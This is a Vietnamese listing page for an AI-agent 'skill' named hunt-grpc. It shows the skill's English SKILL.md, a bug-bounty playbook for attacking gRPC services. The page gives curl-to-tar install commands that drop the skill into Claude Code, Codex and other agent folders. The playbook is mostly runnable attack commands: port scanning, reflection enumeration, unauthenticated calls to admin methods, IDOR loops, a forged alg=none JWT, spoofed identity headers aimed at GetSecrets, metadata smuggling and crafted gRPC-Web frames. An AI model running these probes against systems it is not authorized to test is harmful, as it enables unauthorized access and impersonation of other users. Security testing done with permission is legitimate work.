hunt-grpc – skill Bảo mật cho agent AI
Săn lỗ hổng gRPC: server reflection được bật (liệt kê tất cả service/method), thiếu xác thực hoặc loại bỏ metadata trên endpoint nội bộ, gRPC thuần trên HTTP/2, lộ endpoint nội bộ, rò rỉ file proto, injection qua gRPC-Web/grpc-gateway transcoding, và HTTP/2 Rapid Reset DoS (CVE-2023-44487
Cài skill hunt-grpc bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-grpc-4426b.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-grpc – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-grpc-4426b.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-grpc – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-grpc-4426b.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-grpc – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-grpc-4426b.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-grpc – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
HUNT-GRPC — gRPC Security
Crown Jewel Targets
gRPC reflection enabled = full service catalog enumeration without source code. The highest-value gRPC bugs come from the architectural assumption that a service is "internal" — auth is enforced at the edge proxy, and the backend trusts any caller that reaches it. Once you reach the backend directly (exposed port, SSRF, proxy bypass), that trust collapses.
Highest-value findings:
- Reflection enabled in production —
grpc.reflection.v1alpha.ServerReflection/grpc.reflection.v1.ServerReflectionlists every method, message, and internal service. Enumeration enabler, not a vuln on its own (see Validation). - Missing auth on internal service — a service designed for east-west microservice traffic exposed externally with no mTLS and no per-method authorization → call privileged methods directly.
- Edge-auth-only / metadata-stripping — proxy authenticates the user but the backend re-trusts proxy-injected headers (
x-user-id,x-tenant-id,x-forwarded-*); if you reach the backend or can inject those headers via the proxy, you impersonate any tenant. - Plaintext gRPC — gRPC h2c (cleartext HTTP/2) on a non-standard port → credential/metadata interception.
- HTTP/2 Rapid Reset DoS (CVE-2023-44487) — interleaved HEADERS + immediate RST_STREAM frames bypass
MAX_CONCURRENT_STREAMSaccounting → resource exhaustion. DoS is in scope on almost no program — get explicit written authorization before sending a single burst.
---
Phase 1 — Fingerprint & Port Discovery
# Common gRPC ports (50051 native; 443/8443 via TLS+ALPN h2; 9090/8080 h2c)
nmap -sV -p 50051,50052,443,9090,8080,8443,6565,9000 $TARGET 2>/dev/null | grep open
# ALPN must negotiate h2 — gRPC cannot run on HTTP/1.1
echo | openssl s_client -alpn h2 -connect $TARGET:443 2>/dev/null | grep -i "ALPN.*h2"
# Native-gRPC fingerprint: an HTTP/2 POST to a bogus method returns a grpc-status
# trailer (12 = UNIMPLEMENTED) even when the path is wrong — strong signal it's gRPC.
curl --max-time 30 --connect-timeout 10 -s --http2-prior-knowledge -X POST "http://$TARGET:9090/x.Y/Z" \
-H "content-type: application/grpc" -o /dev/null -D - | grep -i grpc-status
# TLS-fronted h2 (port 443): look for grpc-status trailer / grpc content-type
curl --max-time 30 --connect-timeout 10 -s --http2 -X POST "https://$TARGET/grpc.health.v1.Health/Check" \
-H "content-type: application/grpc-web+proto" -o /dev/null -D - | grep -i "grpc-status\|content-type"grpc-status trailer present ⇒ a gRPC server (or grpc-gateway/Envoy) is behind that port. UNIMPLEMENTED on a random path is normal and only confirms the transport — not a finding.
---
Phase 2 — Service Enumeration via Reflection
brew install grpcurl # or: go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest
# List services — -plaintext for h2c, -insecure for self-signed TLS, plain for valid TLS
grpcurl -plaintext $TARGET:50051 list
grpcurl -insecure $TARGET:443 list
# Typical output when reflection is on:
# grpc.reflection.v1.ServerReflection
# grpc.health.v1.Health
# user.UserService
# admin.AdminService
# payment.PaymentService
# List + describe every method of each service
grpcurl -plaintext $TARGET:50051 list admin.AdminService
grpcurl -plaintext $TARGET:50051 describe admin.AdminService.DeleteUser
grpcurl -plaintext $TARGET:50051 describe .admin.DeleteUserRequest # message schema
# Dump the whole catalog to triage interesting surfaces
for SVC in $(grpcurl -plaintext $TARGET:50051 list); do
echo "== $SVC =="; grpcurl -plaintext $TARGET:50051 list "$SVC"
done | tee grpc-catalog.txt
grep -iE 'admin|internal|debug|secret|impersonate|exec|migrate|reset|delete' grpc-catalog.txtReflection disabled? You can still call known methods if you can guess them, or rebuild the descriptor set from a leaked .proto (Phase 5) and pass it with grpcurl -protoset bundle.bin .... Reflection-off is a hardening control, not a security boundary.
---
Phase 3 — Call Methods Without Authentication (authz testing)
# Baseline: call a sensitive method with NO auth metadata
grpcurl -plaintext $TARGET:50051 -d '{}' admin.AdminService/ListUsers
# IDOR across an enumerable id field
for ID in 1 2 3 100 1000 1001; do
echo "id=$ID"; grpcurl -plaintext $TARGET:50051 \
-d "{\"user_id\": $ID}" user.UserService/GetUser 2>&1 | head -4
doneInterpret the gRPC status code, not just whether bytes came back (see Validation):
OK+ populated response → method executed unauthenticated → finding.Unauthenticated (16)/PermissionDenied (7)→ authz is enforced; NOT a finding.Unimplemented (12)→ wrong path / method not on this server.InvalidArgument (3)→ reached and parsed your input → method is callable; fix the payload and retry.
---
Phase 4 — Authentication / Trust-Boundary Bypass
# (a) Forged bearer / alg=none JWT in the authorization metadata
grpcurl -plaintext $TARGET:50051 \
-H "authorization: Bearer eyJhbGciOiJub25lIn0.eyJyb2xlIjoiYWRtaW4iLCJzdWIiOiIxIn0." \
-d '{}' admin.AdminService/GetConfig
# (b) Backend-trusts-proxy headers: many gRPC backends authenticate at Envoy and
# then trust identity injected as metadata. If the edge does not STRIP these,
# spoofing them = full impersonation. Test every plausible name:
for H in "x-user-id: 1" "x-authenticated-user: admin" "x-tenant-id: 0" \
"x-internal-request: true" "x-forwarded-for: 127.0.0.1" \
"x-envoy-internal: true" "grpc-internal-encoding-request: true"; do
echo "== $H =="
grpcurl -plaintext $TARGET:50051 -H "$H" -d '{}' internal.InternalService/GetSecrets 2>&1 | head -3
done
# (c) Binary metadata smuggling — keys ending in -bin are base64-decoded by the
# server; some auth middlewares only inspect text metadata, missing -bin keys.
grpcurl -plaintext $TARGET:50051 -H "auth-token-bin: $(printf admin|base64)" \
-d '{}' admin.AdminService/GetConfigThe metadata-stripping bug (b) is the gRPC-specific crown jewel: confirm it by sending the spoofed header directly to the backend port AND, separately, through the public proxy — if the proxy forwards your x-user-id unchanged to the backend, it is exploitable for real users, not just on the bypassed port.
---
Phase 5 — Proto File / Schema Discovery
# Proxies (Envoy/grpc-gateway) sometimes serve descriptors or swagger
for P in proto api/proto swagger.json openapiv2 service.swagger.json descriptor.pb; do
S=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{http_code}' "https://$TARGET/$P")
[ "$S" != 404 ] && echo "Found: /$P ($S)"
done
# Source/registry leakage of .proto definitions
gh search code --owner "$TARGET_ORG" 'syntax = "proto3"' --limit 20 2>/dev/null
gh search code --owner "$TARGET_ORG" 'service ' filename:.proto --limit 20 2>/dev/null
# Rebuild a descriptor set from leaked protos and drive the API without reflection
protoc --descriptor_set_out=bundle.bin --include_imports -I proto/ proto/*.proto
grpcurl -protoset bundle.bin -plaintext $TARGET:50051 listProto leakage on its own is low severity; its value is as the key that unlocks Phases 3–4 against a reflection-disabled target.
---
Phase 6 — gRPC-Web / grpc-gateway / JSON-Transcoding Attacks
gRPC almost always reaches the browser through a transcoder: Envoy grpc_web/grpc_json_transcoder, grpc-gateway (REST↔gRPC), or Connect. These translators are the realistic external attack surface and frequently re-expose internal methods.
# (a) grpc-gateway maps gRPC methods to REST. Reflection-derived method names often
# map predictably — hit them over plain HTTP/JSON (no gRPC client needed):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/v1/admin/users:list" -H 'content-type: application/json' -d '{}'
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/admin.AdminService/ListUsers" \
-H 'content-type: application/json' -d '{}' # default unannotated route
# (b) Build a real gRPC-Web length-prefixed frame instead of a hand-waved one.
# Frame = 1-byte flag (0x00=data) + 4-byte big-endian length + protobuf payload.
# Encode the message with protoscope so the bytes are correct:
# protoscope -s <<<'1: 1' > msg.bin # field 1 (e.g. user_id) = 1
MSG=$(xxd -p msg.bin | tr -d '\n')
LEN=$(printf '%08x' $((${#MSG}/2))) # 4-byte length prefix
FRAME=$(printf '00%s%s' "$LEN" "$MSG")
echo "$FRAME" | xxd -r -p > frame.bin
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
-H 'content-type: application/grpc-web+proto' -H 'x-grpc-web: 1' \
--data-binary @frame.bin | xxd | head
# (c) grpc-web+json variant (Envoy/Connect) — no manual framing needed:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/user.UserService/GetUser" \
-H 'content-type: application/grpc-web+json' -H 'x-grpc… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- domain-intel – Trinh sát thụ động các subdomain, chứng chỉ SSL, WHOIS và DNS.
- security-ownership-map – Phân tích repository git để xây dựng bản đồ quyền sở hữu bảo mật (người–file), tính bus…
- hunt-host-header – Săn Host Header Injection: đầu độc password reset dẫn đến ATO, web cache poisoning qua…
- attack-tree-construction – Xây dựng cây tấn công toàn diện để trực quan hóa các đường đi của mối đe dọa. Dùng khi…
- ciso-advisor – Lãnh đạo bảo mật cho các công ty đang tăng trưởng. Định lượng rủi ro bằng tiền, lộ trình…
- security-threat-model – Mô hình hóa mối đe dọa dựa trên kho mã, liệt kê ranh giới tin cậy, tài sản, năng lực kẻ…
- hunt-idor – Skill săn lỗ hổng IDOR. Được xây dựng từ 26 báo cáo bug bounty công khai. Dùng khi săn…
- audit-context-building – Cho phép phân tích mã cực chi tiết, từng dòng, để xây dựng ngữ cảnh kiến trúc sâu trước…